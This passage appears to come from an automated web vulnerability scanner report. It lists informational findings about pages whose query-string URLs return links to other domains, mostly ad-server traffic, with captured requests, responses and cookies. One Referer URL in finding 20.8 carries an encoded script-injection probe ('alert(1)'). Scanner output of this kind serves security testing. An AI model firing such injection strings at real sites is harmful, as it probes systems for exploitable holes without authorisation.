/3aa5/3/0/%2a/v%3B233997820%3B0-0%3B0%3B57848017%3B1-468/60%3B39912829/39930616/1%3B%3B%7Eokv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B%7Esscs%3D%3fhttp://personalsavings.americanexpress.com/savings-product.html"><img src="http://s0.2mdn.net/2179194/1-ps_genericV5_468x60_30k.jpg" width="468" height="60" border="0" alt="" galleryimg="no"></a>
...[SNIP]...

20.2. http://ad.doubleclick.net/adj/entzd.base/itmanagement previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/entzd.base/itmanagement

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adj/entzd.base/itmanagement;zdtopic=itmanagement;zdtopic=enterprise;zdtopic=intelligence;zdtopic=;zdtopic=;zdid=a6280;zdtype=article;zdaudience=;zdproduct=;zdpagetype=;u=zdtopic=itmanagement%7Czdtopic=enterprise%7Czdtopic=intelligence%7Czdid=a6280%7Czdtype=article%7Czdaudience=%7Czdproduct=%7Czdcompany=%7Czdpagetype=;tile=4;pos=top;dcopt=ist;sz=350x50;ord=3152?

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/2585304/TechDirect_350x50.gif

Request

GET /adj/entzd.base/itmanagement;zdtopic=itmanagement;zdtopic=enterprise;zdtopic=intelligence;zdtopic=;zdtopic=;zdid=a6280;zdtype=article;zdaudience=;zdproduct=;zdpagetype=;u=zdtopic=itmanagement%7Czdtopic=enterprise%7Czdtopic=intelligence%7Czdid=a6280%7Czdtype=article%7Czdaudience=%7Czdproduct=%7Czdcompany=%7Czdpagetype=;tile=4;pos=top;dcopt=ist;sz=350x50;ord=3152? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sun, 06 Feb 2011 13:21:43 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 530

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3aa6/0/0/%2a/e;220857981;0-0;0;23542470;468-350/50;34827211/34845066/1;u=zdtopic=itmanagement|zdtopic=enterprise|zdtopic=i
...[SNIP]...
e|zdid=a6280|zdtype=article|zdaudience=|zdproduct=|zdcompany=|zdpagetype=;~aopt=6/0/ff/0;~sscs=%3fhttp://www.jazdtech.com/techdirect/?utm_source=partner&utm_medium=displayad&utm_campaign=startfinding"><img src="http://s0.2mdn.net/viewad/2585304/TechDirect_350x50.gif" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

20.3. http://ad.doubleclick.net/adj/entzd.base/itmanagement previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/entzd.base/itmanagement

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adj/entzd.base/itmanagement;zdtopic=itmanagement;zdtopic=enterprise;zdtopic=intelligence;zdtopic=;zdtopic=;zdid=a6280;zdtype=article;zdaudience=;zdproduct=;zdpagetype=;u=zdtopic=itmanagement%7Czdtopic=enterprise%7Czdtopic=intelligence%7Czdid=a6280%7Czdtype=article%7Czdaudience=%7Czdproduct=%7Czdcompany=%7Czdpagetype=;tile=2;pos=top;dcopt=ist;sz=160x90;ord=3152?

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1664452/MEZ-010311-160x90.jpg

Request

GET /adj/entzd.base/itmanagement;zdtopic=itmanagement;zdtopic=enterprise;zdtopic=intelligence;zdtopic=;zdtopic=;zdid=a6280;zdtype=article;zdaudience=;zdproduct=;zdpagetype=;u=zdtopic=itmanagement%7Czdtopic=enterprise%7Czdtopic=intelligence%7Czdid=a6280%7Czdtype=article%7Czdaudience=%7Czdproduct=%7Czdcompany=%7Czdpagetype=;tile=2;pos=top;dcopt=ist;sz=160x90;ord=3152? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sun, 06 Feb 2011 13:21:39 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 465

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3aa6/0/0/%2a/x;234616659;0-0;0;23542470;3030-160/90;40090848/40108635/1;u=zdtopic=itmanagement|zdtopic=enterprise|zdtopic=intelligence|zdid=a6280|zdtype=article|zdaudience=|zdproduct=|zdcompany=|zdpagetype=;~aopt=6/0/ff/0;~sscs=%3fhttp://www.migrationexpertzone.com/"><img src="http://s0.2mdn.net/viewad/1664452/MEZ-010311-160x90.jpg" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

20.4. http://ad.doubleclick.net/adj/entzd.base/itmanagement previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/entzd.base/itmanagement

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adj/entzd.base/itmanagement;zdtopic=itmanagement;zdtopic=enterprise;zdtopic=intelligence;zdtopic=;zdtopic=;zdid=a6280;zdtype=article;zdaudience=;zdproduct=;zdpagetype=;u=zdtopic=itmanagement%7Czdtopic=enterprise%7Czdtopic=intelligence%7Czdid=a6280%7Czdtype=article%7Czdaudience=%7Czdproduct=%7Czdcompany=%7Czdpagetype=;tile=4;pos=top;dcopt=ist;sz=350x50;ord=3152?

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/2585304/Tech-Direct-350x50.jpg

Request

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sun, 06 Feb 2011 13:22:25 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 543

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3aa6/0/0/%2a/h;226087104;0-0;0;23542470;468-350/50;37317717/37335595/1;u=zdtopic=itmanagement|zdtopic=enterprise|zdtopic=i
...[SNIP]...
|zdtype=article|zdaudience=|zdproduct=|zdcompany=|zdpagetype=;~aopt=6/0/ff/0;~sscs=%3fhttp://www.jazdtech.com/techdirect/?utm_source=ZiffDavisEnterprise&utm_medium=displayad&utm_campaign=startfinding"><img src="http://s0.2mdn.net/viewad/2585304/Tech-Direct-350x50.jpg" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

20.5. http://ad.doubleclick.net/adj/entzd.base/itmanagement previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/entzd.base/itmanagement

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adj/entzd.base/itmanagement;zdtopic=itmanagement;zdtopic=enterprise;zdtopic=intelligence;zdtopic=;zdtopic=;zdid=a6280;zdtype=article;zdaudience=;zdproduct=;zdpagetype=;u=zdtopic=itmanagement%7Czdtopic=enterprise%7Czdtopic=intelligence%7Czdid=a6280%7Czdtype=article%7Czdaudience=%7Czdproduct=%7Czdcompany=%7Czdpagetype=;tile=2;pos=top;dcopt=ist;sz=160x90;ord=3152?

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/1663907/2-ewklbs_drvr_160x90_v3.jpg

Request

GET /adj/entzd.base/itmanagement;zdtopic=itmanagement;zdtopic=enterprise;zdtopic=intelligence;zdtopic=;zdtopic=;zdid=a6280;zdtype=article;zdaudience=;zdproduct=;zdpagetype=;u=zdtopic=itmanagement%7Czdtopic=enterprise%7Czdtopic=intelligence%7Czdid=a6280%7Czdtype=article%7Czdaudience=%7Czdproduct=%7Czdcompany=%7Czdpagetype=;tile=2;pos=top;dcopt=ist;sz=160x90;ord=3152? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sun, 06 Feb 2011 13:22:21 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 509

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3aa6/0/0/%2a/d;223078146;0-0;0;23542470;3030-160/90;36056876/36074762/1;u=zdtopic=itmanagement|zdtopic=enterprise|zdtopic=intelligence|zdid=a6280|zdtype=article|zdaudience=|zdproduct=|zdcompany=|zdpagetype=;~aopt=6/0/ff/0;~sscs=%3fhttp://ad.doubleclick.net/clk;223483613;23051668;c?http://labs.eweek.com/"><img src="http://s0.2mdn.net/viewad/1663907/2-ewklbs_drvr_160x90_v3.jpg" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

20.6. http://ad.doubleclick.net/adj/entzd.base/itmanagement previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/entzd.base/itmanagement

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adj/entzd.base/itmanagement;zdtopic=itmanagement;zdtopic=enterprise;zdtopic=intelligence;zdtopic=;zdtopic=;zdid=a6280;zdtype=article;zdaudience=;zdproduct=;zdpagetype=;u=zdtopic=itmanagement%7Czdtopic=enterprise%7Czdtopic=intelligence%7Czdid=a6280%7Czdtype=article%7Czdaudience=%7Czdproduct=%7Czdcompany=%7Czdpagetype=;tile=1;pos=top;dcopt=ist;sz=728x90;ord=3152?

The response contains the following link to another domain:

http://s0.2mdn.net/viewad/2963291/1-WebAd_header_2010-c.jpg

Request

GET /adj/entzd.base/itmanagement;zdtopic=itmanagement;zdtopic=enterprise;zdtopic=intelligence;zdtopic=;zdtopic=;zdid=a6280;zdtype=article;zdaudience=;zdproduct=;zdpagetype=;u=zdtopic=itmanagement%7Czdtopic=enterprise%7Czdtopic=intelligence%7Czdid=a6280%7Czdtype=article%7Czdaudience=%7Czdproduct=%7Czdcompany=%7Czdpagetype=;tile=1;pos=top;dcopt=ist;sz=728x90;ord=3152? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Sun, 06 Feb 2011 13:21:38 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 471

document.write('<a target="_blank" href="http://ad.doubleclick.net/click;h=v8/3aa6/0/0/%2a/b;236033366;0-0;0;23542470;3454-728/90;38948286/38966043/1;u=zdtopic=itmanagement|zdtopic=enterprise|zdtopic=intelligence|zdid=a6280|zdtype=article|zdaudience=|zdproduct=|zdcompany=|zdpagetype=;~aopt=7/0/ff/0;~sscs=%3fhttp://www.linkfixerplus.com?ezn=1143"><img src="http://s0.2mdn.net/viewad/2963291/1-WebAd_header_2010-c.jpg" border=0 alt="Click here to find out more!"></a>
...[SNIP]...

20.7. http://ad.doubleclick.net/adj/entzd.base/itmanagement previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/entzd.base/itmanagement

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adj/entzd.base/itmanagement;zdtopic=itmanagement;zdtopic=enterprise;zdtopic=intelligence;zdtopic=;zdtopic=;zdid=a6280;zdtype=article;zdaudience=;zdproduct=;zdpagetype=;u=zdtopic=itmanagement%7Czdtopic=enterprise%7Czdtopic=intelligence%7Czdid=a6280%7Czdtype=article%7Czdaudience=%7Czdproduct=%7Czdcompany=%7Czdpagetype=;tile=6;pos=bottom;sz=336x280;ord=3152?

The response contains the following link to another domain:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-ffffff.png

Request

GET /adj/entzd.base/itmanagement;zdtopic=itmanagement;zdtopic=enterprise;zdtopic=intelligence;zdtopic=;zdtopic=;zdid=a6280;zdtype=article;zdaudience=;zdproduct=;zdpagetype=;u=zdtopic=itmanagement%7Czdtopic=enterprise%7Czdtopic=intelligence%7Czdid=a6280%7Czdtype=article%7Czdaudience=%7Czdproduct=%7Czdcompany=%7Czdpagetype=;tile=6;pos=bottom;sz=336x280;ord=3152? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript; charset=UTF-8
Date: Sun, 06 Feb 2011 13:21:51 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5735

var divid='dclkAdsDivID_15140';
document.write('<div id=' + divid + '></div>');
var adsenseHtml_15140 = "<html><head><style><!--\na:link { color: #000000 }a:visited { color: #000000 }a:hover { color:
...[SNIP]...
/Macys-Ramps-Up-Online-Operations-637464/%26hl%3Den%26client%3Dca-pub-6422417422167576%26adU%3Dwww.RiminiStreet.com%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNH5RnMJStR1tz53GbCMllXhLJ0M_g\" target=_blank><img alt=\"Ads by Google\" border=0 height=16px src=http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-ffffff.png width=78px/></a>
...[SNIP]...

20.8. http://ad.doubleclick.net/adj/oiq.man.homeappliance/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/oiq.man.homeappliance/

Issue detail

The page was loaded from a URL containing a query string:

http://ad.doubleclick.net/adj/oiq.man.homeappliance/;mfg=145;tile=2;sz=160x100,160x150,160x300,160x600;ord=1296942753;u=mfg_145%7Csid_

The response contains the following link to another domain:

http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-ffffff.png

Request

GET /adj/oiq.man.homeappliance/;mfg=145;tile=2;sz=160x100,160x150,160x300,160x600;ord=1296942753;u=mfg_145%7Csid_ HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens/d/type1a19b%2527%253balert%25281%2529%252f%252f35f276845e/product_problem
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript; charset=UTF-8
Date: Sat, 05 Feb 2011 21:53:41 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 5600

var divid='dclkAdsDivID_29042';
document.write('<div id=' + divid + '></div>');
var adsenseHtml_29042 = "<html><head><style><!--\na:link { color: #ffffff }a:visited { color: #ffffff }a:hover { color:
...[SNIP]...
f35f276845e/product_problem%26hl%3Den%26client%3Dca-pub-4582869284305424%26adU%3Dwww.Rackspace.com/Exchange_Hosting%26adT%3DImageAd%26gl%3DUS&usg=AFQjCNFHyAxyRcv5LqEhS2qHXwW0t83rLQ\" target=_blank><img alt=\"Ads by Google\" border=0 height=16px src=http://pagead2.googlesyndication.com/pagead/abglogo/abg-en-100c-ffffff.png width=78px/></a>
...[SNIP]...

20.9. http://answers.splunk.com/questions/ask previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://answers.splunk.com
Path:	/questions/ask

Issue detail

The page was loaded from a URL containing a query string:

http://answers.splunk.com/questions/ask?tags=app-wanted

The response contains the following links to other domains:

http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js
http://creativecommons.org/licenses/by-nc-nd/2.5/
http://meta.stackoverflow.com/questions/1777/what-html-tags-are-allowed
http://openid.net/get/
http://splunk.stackexchange.com/

Request

GET /questions/ask?tags=app-wanted HTTP/1.1
Host: answers.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sat, 05 Feb 2011 22:43:42 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Cache-Control: private
Expires: Sat, 05 Feb 2011 22:43:42 GMT
X-Powered-By: ASP.NET
Content-Length: 38334

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd" >
<html>
<head>

<meta name="generator" content="StackExchange 0.9 (20100413135304-37b86aed49a
...[SNIP]...
<link rel="apple-itouch-icon" href="/apple-touch-icon.png">
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
...[SNIP]...
<div class="form-item-info">
Get an <a href="http://openid.net/get/" target="_blank">OpenID</a>
...[SNIP]...
<p><a href="http://meta.stackoverflow.com/questions/1777/what-html-tags-are-allowed" target="_blank">basic HTML</a>
...[SNIP]...
</a>
| <a href="http://splunk.stackexchange.com/">Answers (Community Q&A)</a>
...[SNIP]...
</a>
| <a href="http://creativecommons.org/licenses/by-nc-nd/2.5/">Community content licensed under Creative Commons</a>
...[SNIP]...

20.10. https://axptravel.americanexpress.com/consumertravel/travel.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://axptravel.americanexpress.com
Path:	/consumertravel/travel.do

Issue detail

The page was loaded from a URL containing a query string:

https://axptravel.americanexpress.com/consumertravel/travel.do?a=travel-offers&us_nu=subtab&inav=menu_travel_viewoffers

The response contains the following links to other domains:

https://ad.doubleclick.net/clk;215403377;37592879;v?https://www.americanexpresscruise.com/cruises/promos/amex/pueblo_bonito/complimentary_resort_stay.jsp?cobrand=15558&intcmp=ctn-T000030
https://fls.doubleclick.net/activityi;src=1174169;type=2008c638;cat=2008c098;ord=1;num=1?
https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal
https://www.americanexpresscruise.com/cruises/promos/cruisepromo1c.jsp?cobrand=15558&webpagerecno=2202&destination=-99&sort=5&cruiseline=-99&prange=2&resulttype=[{F_-_L_D}]|o_C_Z&numresults=30&us_nu=dd&inav=travel_lastmincruises
https://www.globaltravelshield.com/?inav=travel_insurance
https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum

Request

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:24:55 GMT
Server: IBM_HTTP_Server
Set-Cookie: SaneID=10.10.14.1-1296944695337672; Path=/; expires=Tue, 09-Feb-16 22:24:55 GMT; domain=.americanexpress.com, troute=w527; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/;domain=.americanexpress.com
Set-Cookie: JSESSIONID=0000dliwg2Ss9lUix8Fyl3n4OOj:15a6nn9du; Path=/; Secure
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-Control: no-cache="set-cookie, set-cookie2"
Set-Cookie: NSC_nf3-x-sx-duouswm-b=ffffffff97a3d13a45525d5f4f58455e445a4a42bbfd;path=/
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Connection: close
Set-Cookie: sroute=688785930.58404.0000; path=/
Vary: Accept-Encoding, User-Agent
Content-Length: 76586

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml2/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
<head>
<title>Tr
...[SNIP]...
<li>
<a title="" href="https://www.aeprepaid.com/index.cfm?clientkey=retail%20sales%20channel&inav=menu_myacct_giftcardbal" id="menu_myacct_giftcardbal">Gift Card Balance</a>
...[SNIP]...
<li>
<a title="" href="https://www.openforum.com/?cid=inav_home&inav=menu_business_openforum" id="menu_business_openforum">OPEN Forum</a>
...[SNIP]...
<li>
<a title="" href="https://www.americanexpresscruise.com/cruises/promos/cruisepromo1c.jsp?cobrand=15558&webpagerecno=2202&destination=-99&sort=5&cruiseline=-99&prange=2&resulttype=[{F_-_L_D}]|o_C_Z&numresults=30&us_nu=dd&inav=travel_lastmincruises" id="travel_lastmincruises">Last Minute Cruises</a>
...[SNIP]...
<li>
<a title="" href="https://www.globaltravelshield.com/?inav=travel_insurance" id="travel_insurance">Travel Insurance</a>
...[SNIP]...
<div class="topOfferImage"><a href="https://ad.doubleclick.net/clk;215403377;37592879;v?https://www.americanexpresscruise.com/cruises/promos/amex/pueblo_bonito/complimentary_resort_stay.jsp?cobrand=15558&intcmp=ctn-T000030
" title="Cruises" tabindex="2518"><img class="topOfferImage3" src="/ctnwt/assets/travelhub/images/transparent.gif" alt="Cruises" title="Cruises"/>
...[SNIP]...
<div class="topOfferBookNow"><a href="https://ad.doubleclick.net/clk;215403377;37592879;v?https://www.americanexpresscruise.com/cruises/promos/amex/pueblo_bonito/complimentary_resort_stay.jsp?cobrand=15558&intcmp=ctn-T000030" title="BOOK NOW" tabindex="2520"><img class="bookNowImg" src="/ctnwt/assets/travelhub/images/transparent.gif" alt="BOOK NOW" title="BOOK NOW"/>
...[SNIP]...
</div>
<iframe title="Double click Tracking" src="https://fls.doubleclick.net/activityi;src=1174169;type=2008c638;cat=2008c098;ord=1;num=1?" width=1 height=1 frameborder=0></iframe>
...[SNIP]...

20.11. http://cdn.w55c.net/i/0R8lWflQ0f_326769041.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0R8lWflQ0f_326769041.html

Issue detail

The page was loaded from a URL containing a query string:

http://cdn.w55c.net/i/0R8lWflQ0f_326769041.html?rtbhost=rts-rr13.sldc.dataxu.net&btid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkN8ZDA3NTFmYzItZjJkNS00NTY4LTlmMDMtMjJjYjVmZDA3NTU4fDEyOTY5NDI1NDI5NzF8MXwwRnJrVmZKY3hBfDBSOGxXZmxRMGZ8TURvMGxWVzRKS0RNNkxyVkdqdDV2ZUtjdUJINjNiV1F8&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TU3FzQAEo-kK5XsU5TApbEC2JVNdMc7sOaGvXw&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZya1ZmSmN4QQ&ciu=MFI4bFdmbFEwZg&reqid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkM&ccw=SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjB8SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjA&epid=&bp=4400&dv=&dm=&dc=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fwww.orthougm.com%2F&refurl=

The response contains the following links to other domains:

http://ad.doubleclick.net/ad/N553.158901.DATAXU/B4970757.11;abr=!ie4;abr=!ie5;sz=468x60;pc=[TPAS_ID];ord=[timestamp]?
http://ad.doubleclick.net/adi/N553.158901.DATAXU/B4970757.11;sz=468x60;pc=[TPAS_ID];ord=[timestamp]?
http://ad.doubleclick.net/adj/N553.158901.DATAXU/B4970757.11;abr=!ie;sz=468x60;pc=[TPAS_ID];ord=[timestamp]?
http://ad.doubleclick.net/jump/N553.158901.DATAXU/B4970757.11;abr=!ie4;abr=!ie5;sz=468x60;pc=[TPAS_ID];ord=[timestamp]?
http://rts-rr13.sldc.dataxu.net/x/bcs0?btid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkN8ZDA3NTFmYzItZjJkNS00NTY4LTlmMDMtMjJjYjVmZDA3NTU4fDEyOTY5NDI1NDI5NzF8MXwwRnJrVmZKY3hBfDBSOGxXZmxRMGZ8TURvMGxWVzRKS0RNNkxyVkdqdDV2ZUtjdUJINjNiV1F8&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TU3FzQAEo-kK5XsU5TApbEC2JVNdMc7sOaGvXw

Request

GET /i/0R8lWflQ0f_326769041.html?rtbhost=rts-rr13.sldc.dataxu.net&btid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkN8ZDA3NTFmYzItZjJkNS00NTY4LTlmMDMtMjJjYjVmZDA3NTU4fDEyOTY5NDI1NDI5NzF8MXwwRnJrVmZKY3hBfDBSOGxXZmxRMGZ8TURvMGxWVzRKS0RNNkxyVkdqdDV2ZUtjdUJINjNiV1F8&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TU3FzQAEo-kK5XsU5TApbEC2JVNdMc7sOaGvXw&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZya1ZmSmN4QQ&ciu=MFI4bFdmbFEwZg&reqid=NEQ0REM1Q0QwMDA0QTNFOTBBRTU3QjE0RTUzMDI5NkM&ccw=SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjB8SUFCNyMwLjB8SUFCMiMwLjB8SUFCMyMwLjA&epid=&bp=4400&dv=&dm=&dc=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fwww.orthougm.com%2F&refurl= HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-0813152173226346&output=html&h=60&slotname=3865030659&w=468&lmt=1296964160&flash=10.1.103&hl=en&url=http%3A%2F%2Fwww.orthougm.com%2F&dt=1296942560320&shv=r20101117&jsv=r20110120&saldr=1&prev_slotnames=8833934355%2C8094259765&correlator=1296942560294&frm=0&adk=2257162608&ga_vid=429166960.1296942499&ga_sid=1296942499&ga_hid=1263121855&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=969&bih=1012&ref=http%3A%2F%2Fwww.orthougm.com%2Fnslookup.html&fu=0&ifi=3&dtd=3&xpc=dnlnsmkeRR&p=http%3A//www.orthougm.com
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchrubicon=1; matchgoogle=1; matchappnexus=1; wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 20:50:58 GMT
Server: w55c.net
Set-Cookie: wfivefivec=MDo0lVW4JKDM6LrVGjt5veKcuBH63bWQ;Path=/;Domain=.w55c.net;Expires=Mon, 04-Feb-13 21:49:02 GMT
Nncoection: close
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Thu, 06 Jan 2011 16:51:47 GMT
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 3485
Cache-Control: no-cache, no-store
pragma: no-cache
Via: 1.1 mdw061002 (MII-APC/1.6)
Content-Length: 3408

